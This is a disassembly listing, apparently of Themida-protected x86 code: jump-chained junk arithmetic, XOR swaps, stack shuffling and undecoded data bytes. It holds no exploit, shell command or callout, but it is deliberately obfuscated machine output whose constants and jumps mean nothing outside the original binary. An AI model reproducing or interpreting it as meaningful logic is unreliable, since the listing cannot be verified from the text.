word_50A24A	dw 77FFh		; DATA XREF: Themida_:00502A68o
		dd 58669D1Ch, 9C240410h, 0C3AEE9h, 24048B00h, 390E953h
		db 2 dup(0)
word_50A262	dw 8B66h		; DATA XREF: Themida_:0050286Co
		dd 5E9240Ch
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50A26B:				; CODE XREF: Themida_:0050307Dj
		pop	ecx
		sub	ebp, ecx
		add	ebp, 34FB6439h
		mov	ecx, [esp]
		add	esp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_50BC6D
; ---------------------------------------------------------------------------


loc_50A285:				; CODE XREF: Themida_:0050B29Ej
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 4
		jmp	loc_50494F
; ---------------------------------------------------------------------------


loc_50A29A:				; CODE XREF: Themida_:00514774j
		sub	esi, eax
		pop	eax
		add	esi, ebx
		add	esi, 346652CCh
		pop	ebx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_51054F
; ---------------------------------------------------------------------------


loc_50A2BB:				; CODE XREF: Themida_:00504F89j
					; Themida_:0050559Bj
		push	edx
		jmp	loc_503D64
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C4h
		dd 4, 0C33FE9h,	0D9F74900h, 60FEC181h, 0CF214737h, 0CEF78159h
		dd 1142004h, 243C8BFAh,	8104C483h, 2C2h, 24143300h, 0B848E9h
		db 0
; ---------------------------------------------------------------------------


loc_50A2F5:				; CODE XREF: Themida_:0050612Aj
		and	ecx, 4FBE7D77h
		xor	ecx, 6EE30C58h
		jmp	loc_504D48
; ---------------------------------------------------------------------------


loc_50A306:				; CODE XREF: Themida_:0051727Aj
		push	646Ch
		jmp	loc_5114A7
; ---------------------------------------------------------------------------
		dd 2414335Eh, 33241431h, 248B2414h, 0C896624h, 0B60F6624h
		dd 7C9CE9C8h, 51590000h, 0E7FB29B9h, 62DEE970h,	14890000h
		dd 6C22E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50A33E:				; CODE XREF: Themida_:00514CD2j
		mov	[esp], ebp
		mov	ebp, 44AC20AAh
		sub	ebp, 5BCA6ACDh
		jmp	loc_5094D2
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 59CE015Ch, 0E9243433h, 0C021h, 5854505Bh, 9E76E9h, 81595A00h
		dd 4ECh, 24148900h, 2BE56h, 0F2890000h,	8324348Bh, 0CEE904C4h
		dd 0F7FFFFC9h, 6FC981D1h, 0D1060874h, 88E981E9h, 6814372Fh
		dd 0
		dd 59240C29h, 7C57E981h, 0CB29A686h, 1E3FE9h, 0CE815F00h
		dd 1B9C06E7h, 0AACE9h, 241C8900h, 83A2E9h, 24248B00h, 55240C89h
		dd 0FFE582E9h, 242C87FFh, 2C87D5F7h, 0EC815B24h, 4, 55240489h
		dd 3978B850h, 0BA5244C3h, 2B7C071Ch, 0C71B2D2Dh, 0E9D00133h
		dd 3128h, 0BE3DE95Bh, 148B0000h, 0E1895124h, 4C181h, 0FFE90000h
		dd 560000ACh, 0F33BD2BEh, 3EEC10Ch, 2FBAF681h, 0EEC14FA5h
		dd 0D6EE8102h, 0C1176006h, 0EEC108EEh, 81D6F707h, 1F862C6h
		dd 0E0E95500h, 0FEFFFFF6h, 0F6D8F6C0h, 281134D8h, 2434FFC3h
		dd 0FF98BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A44D:				; CODE XREF: Themida_:0050BDD8j
		dec	al
		shr	al, 7
		and	al, 8
		shl	al, 8
		add	al, 0Ah
		mov	cl, al
		pop	eax
		push	ebx
		mov	bh, 0F4h
		add	bh, 0F2h
		sub	cl, bh
		pop	ebx
		mov	bh, cl
		mov	ecx, [esp]
		jmp	loc_51485F
; ---------------------------------------------------------------------------
		db 57h
		dd 0FF97CDE9h
		db 0FFh
byte_50A475	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00502908o
		dd 0E9545724h, 0FFFFD5D0h, 17622FBEh, 4E6C17Fh,	54E9F681h
		dd 0F3898DF4h, 0BFCB815Eh, 0C128A94Dh, 0DBF707EBh, 797EC381h
		dd 0BE562011h, 56AE0EE2h, 5B57C681h, 0F309212Ch, 0F8F3815Eh
		dd 175F8C3h, 0F3295BDEh, 0FF9ED8E9h, 4EB83FFh, 5C241C87h
		dd 0E9241489h, 0FFFFC2DDh
; ---------------------------------------------------------------------------


loc_50A4D0:				; CODE XREF: Themida_:005085F4j
		pop	eax
		add	edx, 35873F56h
		shr	edx, 8
		jmp	loc_515A2C
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8104C5h, 4, 0FF242C89h, 5D042474h, 5C24048Fh, 0E924048Fh
		dd 346Ah, 63E9CD01h, 810000B2h,	346198EDh, 3EDC13Fh, 51C8BB53h
		dd 0DD0127AEh, 5B2434FFh, 532AE9h, 32E95B00h, 81000018h
		dd 5F77A3CEh, 0ADE4E97Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A52E:				; CODE XREF: Themida_:0050B3B3j
		push	dword ptr [edi+24h]
		jmp	loc_50B24E
; ---------------------------------------------------------------------------


loc_50A536:				; CODE XREF: Themida_:00517D8Bj
		add	ebp, eax
		sub	ebp, 3F8F615Bh
		jmp	loc_50E9FD
; ---------------------------------------------------------------------------
		db 0F7h
		dd 4FF9E9DEh, 0E9830000h, 15C3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50A552:				; CODE XREF: Themida_:00505D30j
		add	dh, 0DFh
		sub	bl, dh
		pop	edx
		pop	edx
		jmp	loc_506E9F
; ---------------------------------------------------------------------------
word_50A55E	dw 34FFh		; DATA XREF: Themida_:00502808o
		dd 2434FF24h, 0E9240C8Bh, 80EEh, 4EC8158h, 89000000h, 0E2892414h
		dd 4B850h, 0C2010000h, 60E95058h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50A587:				; CODE XREF: Themida_:005066DDj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5039CD
; ---------------------------------------------------------------------------


loc_50A5A6:				; CODE XREF: Themida_:0050D735j
		mov	ecx, 779E59DDh
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_50614A
; ---------------------------------------------------------------------------


loc_50A5BB:				; CODE XREF: Themida_:0050B134j
		pop	esi
		push	13CDh
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_503CE0
; ---------------------------------------------------------------------------
		db 1, 0CBh, 59h
		dd 0F0E9DA01h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A5D7:				; CODE XREF: Themida_:0050AACBj
		pop	ebp
		shr	ebp, 8
		push	ecx
		mov	ecx, 6F6D0E31h
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		sub	ecx, 2115006Dh
		jmp	loc_5102EF
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0C3830000h, 241C8704h, 4C4815Ch, 52000000h
		dd 781668h, 24248900h, 4240481h, 5A000000h, 1E0168h, 243C8900h
		dd 2678EABFh, 78E7811Fh, 0E978607Dh, 7972h, 5E665B66h
		dd 66D6F766h, 1DE9F387h, 0BBFFFFF0h, 418A43A8h,	5462E381h
		dd 564B1ADEh, 0CB6AE9h
		db 0
; ---------------------------------------------------------------------------


loc_50A651:				; CODE XREF: Themida_:00507F18j
		mov	ch, 37h
		sub	al, ch
		pop	ecx
		sub	al, dh
		jmp	loc_505E58
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 0E904C483h, 3C4Dh
; ---------------------------------------------------------------------------


loc_50A668:				; CODE XREF: Themida_:00506EA2j
		push	small 5E25h
		mov	[esp], ax
		jmp	loc_5084FA
; ---------------------------------------------------------------------------


loc_50A675:				; CODE XREF: Themida_:005150B9j
		add	ebx, edx
		add	[ebx], ebp
		pop	ebx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_512F8F
; ---------------------------------------------------------------------------
aQSP0Ys		db 'Q±‘³0ËYé',0
		db 'Æ',0
		align 2
		dw 1489h
		dd 1044E924h, 81660000h, 0E91B92EBh, 34FFh, 924185B9h
		dd 6A31E970h, 0F1880000h, 0C530E9h, 0F7DF8700h,	1C781DFh
		dd 0E9000000h, 8F51h
; ---------------------------------------------------------------------------


loc_50A6C4:				; CODE XREF: Themida_:00510C46j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_513E77
; ---------------------------------------------------------------------------


loc_50A6D4:				; CODE XREF: Themida_:005162A1j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_513A56
; ---------------------------------------------------------------------------
byte_50A6DF	db 30h			; DATA XREF: Themida_:00502A58o
		dd 0C32240Ch, 240C3024h, 0FFE6DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A6ED:				; CODE XREF: Themida_:005151FBj
		push	dx
		dec	byte ptr [esp+1]
		pop	dx
		inc	dh
		push	3881h
		mov	[esp], ebx
		jmp	loc_5178F8
; ---------------------------------------------------------------------------


loc_50A704:				; CODE XREF: Themida_:00507B87j
		push	edx
		jmp	loc_50690E
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 212E29D5h, 0FFA751E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A715:				; CODE XREF: Themida_:0050F98Bj
		mov	ebp, 18A04FDCh
		jmp	loc_507CA0
; ---------------------------------------------------------------------------
		db 5Fh
		dd 24148B59h, 4C481h, 99680000h, 89000069h, 4BD242Ch, 0E9000000h
		dd 0FFFFBD78h
; ---------------------------------------------------------------------------


loc_50A73C:				; CODE XREF: Themida_:00507A4Bj
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_514CD7
; ---------------------------------------------------------------------------


loc_50A747:				; CODE XREF: Themida_:00504899j
		add	ebp, eax
		pop	eax
		push	esi
		mov	esi, 738B463Eh
		and	esi, 4A7414ECh
		jmp	loc_51480E
; ---------------------------------------------------------------------------


loc_50A75B:				; CODE XREF: Themida_:005040C4j
		mov	edx, 800407Ch
		add	ebx, 7F8A64A9h
		sub	ebx, edx
		sub	ebx, 7F8A64A9h
		pop	edx
		jmp	loc_509ACC
; ---------------------------------------------------------------------------
		dd 5C243C87h, 1C36E9h, 91E95900h, 5B0000C0h, 0E92434FFh
		dd 9211h, 0B058C381h, 0EBC1FD62h, 0B40EE907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50A79A:				; CODE XREF: Themida_:00512FE4j
		shr	ebx, 7
		shr	ebx, 3
		inc	ebx
		or	ebx, 6154C91h
		xor	ebx, 4C9D4B86h
		xor	edi, ebx
		pop	ebx
		xor	esi, edi
		pop	edi
		push	ebx
		mov	ebx, esi
		push	edi
		mov	edi, ebx
		mov	edx, edi
		pop	edi
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		add	edx, 5AEC6F9Eh
		push	esi
		jmp	loc_505E44
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 348904ECh, 791CE924h, 0C4810000h,	4, 0BD40E9h
		dd 5D5E5500h, 997C681h,	222D40C9h, 5503310h, 18E132B9h
		dd 1458E9h
		db 0
; ---------------------------------------------------------------------------


loc_50A801:				; CODE XREF: Themida_:00506075j
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_50DADB
; ---------------------------------------------------------------------------


loc_50A815:				; CODE XREF: Themida_:0050AF9Dj
		push	37Bh
		mov	[esp], esi
		jmp	loc_510AE7
; ---------------------------------------------------------------------------
word_50A822	dw 34FFh		; DATA XREF: Themida_:00502810o
		dd 240C8B24h, 8904EC83h, 0E6892434h, 4C681h, 0C6810000h
		dd 4, 2474FF56h, 48F5E04h, 0E1E95C24h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A84B:				; CODE XREF: Themida_:0050995Ej
		push	6FDEh
		jmp	loc_51137F
; ---------------------------------------------------------------------------


loc_50A855:				; CODE XREF: Themida_:00503606j
		add	ebp, 4BE476BEh
		mov	edi, [esp]
		push	eax
		jmp	loc_5149E7
; ---------------------------------------------------------------------------
		dd 0F815E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A86A:				; CODE XREF: Themida_:00512230j
		push	eax
		push	61682B37h
		jmp	loc_50EABA
; ---------------------------------------------------------------------------


loc_50A875:				; CODE XREF: Themida_:005124ECj
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_516F0F
; ---------------------------------------------------------------------------


loc_50A887:				; CODE XREF: Themida_:005101E1j
		xor	edi, eax
		xor	eax, edi
		push	290Bh
		mov	[esp], edi
		xchg	ebp, [esp]
		xchg	edx, ebp
		jmp	loc_50DAEB
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 8BD0015Ch, 0C4812414h, 4, 817AE9h
		db 0
; ---------------------------------------------------------------------------


loc_50A8B1:				; CODE XREF: Themida_:00506F58j
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_50ABFE
; ---------------------------------------------------------------------------
aYsq		db 'Yéï',27h,0
		db 0
; ---------------------------------------------------------------------------


loc_50A8C5:				; CODE XREF: Themida_:0050EE9Dj
		pop	ebp
		jmp	loc_507ECC
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EC8103EDh, 4, 0FFC9A4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A8D9:				; CODE XREF: Themida_:0050B393j
		push	ebp
		push	ebx
		mov	ebx, 4F260CEh
		shr	ebx, 7
		jmp	loc_50ABE6
; ---------------------------------------------------------------------------


loc_50A8E8:				; CODE XREF: Themida_:0050BAE6j
		push	edi
		mov	edi, 4
		jmp	loc_50AD52
; ---------------------------------------------------------------------------
		db 0BFh
		dd 66F3600Eh, 555FF821h, 4E6FBF57h, 0A8E94B86h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50A907:				; CODE XREF: Themida_:00515D65j
		push	edi
		mov	edi, 4
		jmp	loc_5107D1
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 0E9000000h, 0B605h, 0E9FA295Fh, 0FFFFDC19h
; ---------------------------------------------------------------------------


loc_50A924:				; CODE XREF: Themida_:005158B7j
		pop	dword ptr [esp]
		push	eax
		push	edx
		jmp	loc_510D92
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 5422BA52h, 0F28145ECh, 45EC5426h, 815AD701h,	4C7h, 243C8700h
		dd 24048F5Ch, 6624248Bh, 6824148Bh, 75F8h, 0E9241C89h
		dd 0FFFFB2FFh
; ---------------------------------------------------------------------------


loc_50A960:				; CODE XREF: Themida_:005160F3j
		add	esp, 4
		bswap	eax
		jmp	loc_5109B5
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0A2E9240Ch
		db 0C0h, 2 dup(0)
byte_50A973	db 8Bh			; DATA XREF: Themida_:0050282Co
		dd 50E92424h, 81FFFF81h, 566881EBh, 81C30108h, 566881C3h
		db 8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_50595E
; ---------------------------------------------------------------------------
aBszOassr	db 'é§*oAéèR',0
		align 4
		dd 0DE8144BAh, 0E9D701A3h, 0A24Dh, 0B446E950h, 0D931FFFFh
		dd 0EDED815Bh, 16A0876h, 0EDC581CDh, 0E96A0876h, 6A54h
		dd 0C49B951h, 0C80911EFh, 1AD12D59h, 0C701DB80h, 0FFC78158h
		dd 81B2C0A6h, 0EE25BCC3h, 81FB010Ah, 0EE25BCEBh, 3374E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50A9EE:				; CODE XREF: Themida_:00504E18j
		push	eax
		push	edx
		jmp	loc_505E09
; ---------------------------------------------------------------------------


loc_50A9F5:				; CODE XREF: Themida_:0051069Dj
		mov	[esp], edi
		mov	edi, 1
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shl	ecx, 6
		xor	ecx, 0A35A5E6Dh
		xor	eax, ecx
		push	dword ptr [esp]
		jmp	loc_504511
; ---------------------------------------------------------------------------


loc_50AA18:				; CODE XREF: Themida_:00515432j
		shl	edx, 6
		jmp	loc_510304
; ---------------------------------------------------------------------------
		dd 0F759C831h, 19F80DD0h, 0C3E93FE2h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50AA2F:				; CODE XREF: Themida_:0050DF37j
		mov	esp, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_512A4A
; ---------------------------------------------------------------------------
aLS_0		db '‹<$é!±',0
		dd 87048F00h, 0FF807AE9h, 4C381FFh, 83000000h, 1C8704EBh
		dd 14895C24h, 4BA24h, 54010000h, 8B5A0424h, 97E9242Ch
		dd 330000C6h, 2C31242Ch, 242C3324h, 0FFC20DE9h,	14875CFFh
		dd 0C0F3E924h, 0E951FFFFh, 0FFFFBA2Eh, 0E924048Bh, 0FFFFDFEFh
		dd 0E0697068h, 0E3815B0Dh, 652F3606h, 4728E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50AAAA:				; CODE XREF: Themida_:0050AB22j
		and	eax, ecx
		pop	ecx
		shr	eax, 10h
		xor	eax, ecx
		push	761Fh
		mov	[esp], eax
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_517DFC
; ---------------------------------------------------------------------------


loc_50AAC8:				; CODE XREF: Themida_:00506270j
		not	dword ptr [esp]
		jmp	loc_50A5D7
; ---------------------------------------------------------------------------


loc_50AAD0:				; CODE XREF: Themida_:0050D81Cj
		pop	edx
		sub	esp, 4
		jmp	loc_51283A
; ---------------------------------------------------------------------------


loc_50AADC:				; CODE XREF: Themida_:00508B43j
		pop	ebx
		sub	edi, 1D56548Ah
		sub	edi, ecx
		push	ecx
		mov	ecx, 1D56548Ah
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_515C67
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 7DEBF681h, 30E97759h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50AB0F:				; CODE XREF: Themida_:005115BCj
		add	esp, 4
		push	edi
		jmp	loc_508D19
; ---------------------------------------------------------------------------


loc_50AB18:				; CODE XREF: Themida_:005046D7j
		add	ebp, esi
		jmp	loc_50C9F0
; ---------------------------------------------------------------------------


loc_50AB1F:				; CODE XREF: Themida_:005138FEj
		add	ecx, edx
		pop	edx
		jmp	loc_50AAAA
; ---------------------------------------------------------------------------
		db 87h
		dd 5DE9240Ch, 81000038h, 0A21BD4C3h, 2434FF6Bh,	4C4815Dh
		dd 0E9000000h, 8BAh, 8104C483h,	4ECh, 2FBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50AB52:				; CODE XREF: Themida_:0050F465j
		pop	ebx
		mov	ax, [esp]
		jmp	loc_51255F
; ---------------------------------------------------------------------------
		dd 4C4815Bh, 87000000h,	0E95C242Ch, 45D0h, 6869B850h, 0C6810C34h
		dd 34232BEh, 0EE81C601h, 34232BEh, 24048B58h, 4C481h, 0EC830000h
		dd 24048904h, 4EC81h, 2C890000h, 34156824h, 815D5BC7h
		dd 447C3EC5h, 51B9512Ah, 29860BB0h, 240C8BCDh, 8904C483h
		dd 242C8BE8h, 2904C483h, 0EC8358C6h, 24348904h,	42474FFh
		dd 0FF7F6CE9h, 68F9F7FFh, 0B51h, 50241489h, 7EEDE99Ch
		dd 0C483FFFFh, 0CE29E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50ABE6:				; CODE XREF: Themida_:0050A8E3j
		sub	ebx, 0BC42B729h
		xor	ebx, 7A1D26BDh
		inc	ebx
		and	ebx, 4CBA0EDCh
		jmp	loc_50B52A
; ---------------------------------------------------------------------------


loc_50ABFE:				; CODE XREF: Themida_:0050A8BAj
		push	48471CFCh
		mov	edi, [esp]
		jmp	loc_51053C
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC832414h, 241C8904h, 2827CFBBh, 4EC8355h, 81241C89h
		dd 6574242Ch, 0BAE95CFCh, 100001Fh, 0C38FE9CFh,	0E3890000h
		dd 5D8F68h, 24148900h, 8A182ABAh, 0E9E2D117h, 352Bh, 5866C688h
		dd 66243486h, 0ECF18059h, 281BC380h, 1BEB80CBh,	5CACE9h
		db 0
byte_50AC61	db 66h,	0FFh, 32h	; DATA XREF: Themida_:0050296Co
		dd 0FF7E62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50AC69:				; CODE XREF: Themida_:0051287Aj
		and	eax, 3166649Dh
		jmp	loc_502BE1
; ---------------------------------------------------------------------------
		db 0BEh
		dd 23252F12h, 0C107E6C1h, 7FE905E6h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50AC83:				; CODE XREF: Themida_:0050858Fj
		pop	esp
		mov	ebp, [esp]
		push	ecx
		jmp	loc_508E0F
; ---------------------------------------------------------------------------
		db 5Bh,	33h, 14h
		dd 24143124h, 8B241433h, 3C892424h, 63AA6824h, 8DE90000h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50ACA7:				; CODE XREF: Themida_:00505C01j
		mov	ebx, [esp]
		jmp	loc_5136BF
; ---------------------------------------------------------------------------


loc_50ACAF:				; CODE XREF: Themida_:00516243j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_505C65
; ---------------------------------------------------------------------------
		dw 8155h
		dd 5A4B2404h, 2D5828C4h, 28C45A4Bh, 0FFC6A2E9h,	52FB01FFh
		dd 0BB53h, 0DA890000h, 0FFE557E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50ACDD:				; CODE XREF: Themida_:005135B8j
		push	5D48h
		mov	[esp], edi
		push	esi
		mov	esi, 43DB0783h
		push	edx
		jmp	loc_50B168
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0E1h
		dd 0BAFFFFDFh, 4, 5179C781h, 0D70128C8h, 5179EF81h, 835A28C8h
		dd 3C8704C7h, 0B4E95C24h, 55FFFF7Dh, 473A68BDh,	6FEF8168h
		dd 0E9109863h, 8041h, 2C9B6866h, 24248966h, 24048166h
		dd 8F660002h, 0E9502404h, 0
		dd 950DE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50AD46:				; CODE XREF: Themida_:0050E421j
		pop	ebp
		sub	esp, 4
		jmp	loc_50C27E
; ---------------------------------------------------------------------------


loc_50AD52:				; CODE XREF: Themida_:0050A8EEj
		add	[esp+4], edi
		pop	edi
		pop	edi
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 28BF6B0Fh
		jmp	loc_51350F
; ---------------------------------------------------------------------------


loc_50AD7E:				; CODE XREF: Themida_:00503002j
		pop	esp
		jmp	loc_503B2B
; ---------------------------------------------------------------------------


loc_50AD84:				; CODE XREF: Themida_:0050D12Aj
		push	ebp
		mov	ebp, 505E1F8Ah
		sub	edx, ebp
		pop	ebp
		add	edx, ebx
		add	edx, 505E1F8Ah
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_50401E
; ---------------------------------------------------------------------------


loc_50AD9E:				; CODE XREF: Themida_:00505710j
		xor	[esp+4], edx
		mov	edx, [esp]
		push	ecx
		jmp	loc_5083B8
; ---------------------------------------------------------------------------
		db 0BAh
		dd 48E45B82h, 1654E9h
		db 0
; ---------------------------------------------------------------------------


loc_50ADB5:				; CODE XREF: Themida_:00515E71j
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_513372
; ---------------------------------------------------------------------------
		db 89h
		dd 0FEF4E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50ADC6:				; CODE XREF: Themida_:0050CDB0j
		add	bl, 7Dh
		pop	eax
		add	bl, al
		push	dx
		mov	dh, 63h
		add	dh, 0Dh
		xor	dh, 0Eh
		shl	dh, 6
		inc	dh
		add	dh, 0E5h
		sub	dh, 0C5h
		add	bl, dh
		pop	dx
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 93BDE9C3h, 0E95CFFFFh, 5BDEh, 5C243C87h, 284468h, 241C8900h
		dd 0E89E9h, 53E18900h, 3733E9h,	0E9E78800h, 0FFFFAB9Ah
		dd 8AE9D3F7h, 0FFFFC2h,	2CF604D8h, 68536621h, 5105h, 711AE9h
		dd 4BBA6800h, 48B58AEh,	0E7895724h, 4C781h, 0C7810000h
		dd 4, 0C81E9h, 243C8900h, 4A19DCBFh, 0ACDEE937h, 0BF57FFFFh
		dd 5CA05749h, 381CE9h, 0FFC68300h, 0A20AE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50AE6E:				; CODE XREF: Themida_:0051235Bj
		or	ebx, 41C2300Ah
		and	ebx, 24F40610h
		shl	ebx, 2
		shr	ebx, 2
		shl	ebx, 4
		add	ebx, 53A1E43h
		push	ebx
		mov	ebx, 94C52EBh
		add	[esp+8], ebx
		pop	ebx
		add	[esp+4], ebx
		jmp	loc_502C73
; ---------------------------------------------------------------------------


loc_50AE9D:				; CODE XREF: Themida_:005168D0j
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, 16AC56DCh
		xor	edx, 7D0E03EAh
		jmp	loc_5138F5
; ---------------------------------------------------------------------------
		dd 5009F681h, 0F5317D82h, 8124348Bh, 4C4h, 0FFEE0100h
		dd 2C8B2434h, 26E95724h, 0BBFFFFB6h, 58F45BE7h,	515BD829h
		dd 6511BE56h, 52536273h, 4117BABAh, 0E9D38978h,	0B22Fh
		dd 0E9243C89h, 0FFFFD81Eh
; ---------------------------------------------------------------------------


loc_50AEFC:				; CODE XREF: Themida_:00512A16j
		inc	eax
		inc	eax
		jmp	loc_509FD7
; ---------------------------------------------------------------------------


loc_50AF03:				; CODE XREF: Themida_:00511F87j
		add	edx, edi
		sub	edx, 38F31491h
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		add	esp, 4
		shl	eax, cl
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_513FCB
; ---------------------------------------------------------------------------
aSp8		db ')Ñé8',0
		align 4
		dd 5C243C87h, 4C481h, 0C6810000h, 4, 8B243487h,	0E1F72424h
		dd 124C68h, 24148900h, 6CE99C50h, 89FFFF7Bh, 3481240Ch
		dd 93637624h, 0F6815E73h, 73936376h, 0E9F23159h, 0FFFFB719h
; ---------------------------------------------------------------------------


loc_50AF78:				; CODE XREF: Themida_:005176AAj
		pop	eax
		add	eax, 4
		jmp	loc_50CD33
; ---------------------------------------------------------------------------
		db 30h
		dd 7EE9FCh, 0C8310000h,	0CBDFE9h
		db 0
; ---------------------------------------------------------------------------


loc_50AF91:				; CODE XREF: Themida_:00510922j
		push	dword ptr [esp]
		jmp	loc_5087F3
; ---------------------------------------------------------------------------


loc_50AF99:				; CODE XREF: Themida_:00506319j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_50A815
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4, 0E958C629h, 0A124h, 89241489h, 0E16856E2h, 8900005Ch
		dd 58BA2414h, 81797C2Fh, 0E0772FCAh, 15ECE966h,	0C6810000h
		dd 4, 8704EE83h, 0E95C2434h, 0FFFF9079h
; ---------------------------------------------------------------------------


loc_50AFE0:				; CODE XREF: Themida_:00516164j
		pop	edi
		add	edi, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_516242
; ---------------------------------------------------------------------------
byte_50AFF9	db 0FFh, 77h, 40h	; DATA XREF: Themida_:00502900o
		dd 0FF7ACAE9h, 0E94959FFh, 8C53h, 0D4F65B66h, 8005ECC0h
		dd 0EC80C1CCh, 60C480EDh, 0FF940BE9h, 52D801FFh, 9933E9h
		dd 98E95F00h
		db 90h,	2 dup(0)
byte_50B02B	db 66h			; DATA XREF: Themida_:00502978o
		dd 52240C8Bh, 0EC81E289h, 4, 81243C89h,	4ECh, 0FBC5E900h
		dd 0CB09FFFFh, 81EBD159h, 0EC78E6EBh, 0F7CB875Bh, 0C1CB87D1h
		dd 0BA5208E3h, 0E102675h, 0C281D2F7h, 0BD563B7Ah, 0BE9D301h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50B06F:				; CODE XREF: Themida_:00506E4Dj
		mov	ah, 0DEh
		xor	dl, ah
		pop	ax
		and	dl, 0E7h
		jmp	loc_50407E
; ---------------------------------------------------------------------------
		align 2
		dw 66D0h
		dd 0E924148Bh, 6135h, 18E99CB4h, 8100008Ah, 4ECh, 24348900h
		dd 76ACE9h, 240C8900h, 51C9E9h,	0E9814900h, 5C44777Fh
		dd 0F496E981h, 0CB01797Ah, 570E959h, 4890000h, 0BE565324h
		dd 99063A2h, 685EF389h,	24A4h, 0BB241C89h, 36BB6477h, 0F3FBF57h
		dd 0FB017BB8h, 16F3815Fh, 51BBE317h, 16D8E9h
		db 0
byte_50B0E9	db 66h,	8Bh, 4		; DATA XREF: Themida_:00502A70o
		dd 0E3895324h, 4EC81h, 3C890000h, 4EC8324h, 0E9240489h
		dd 0FFFFEA8Bh, 8BD1015Bh, 89532414h, 77A2E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


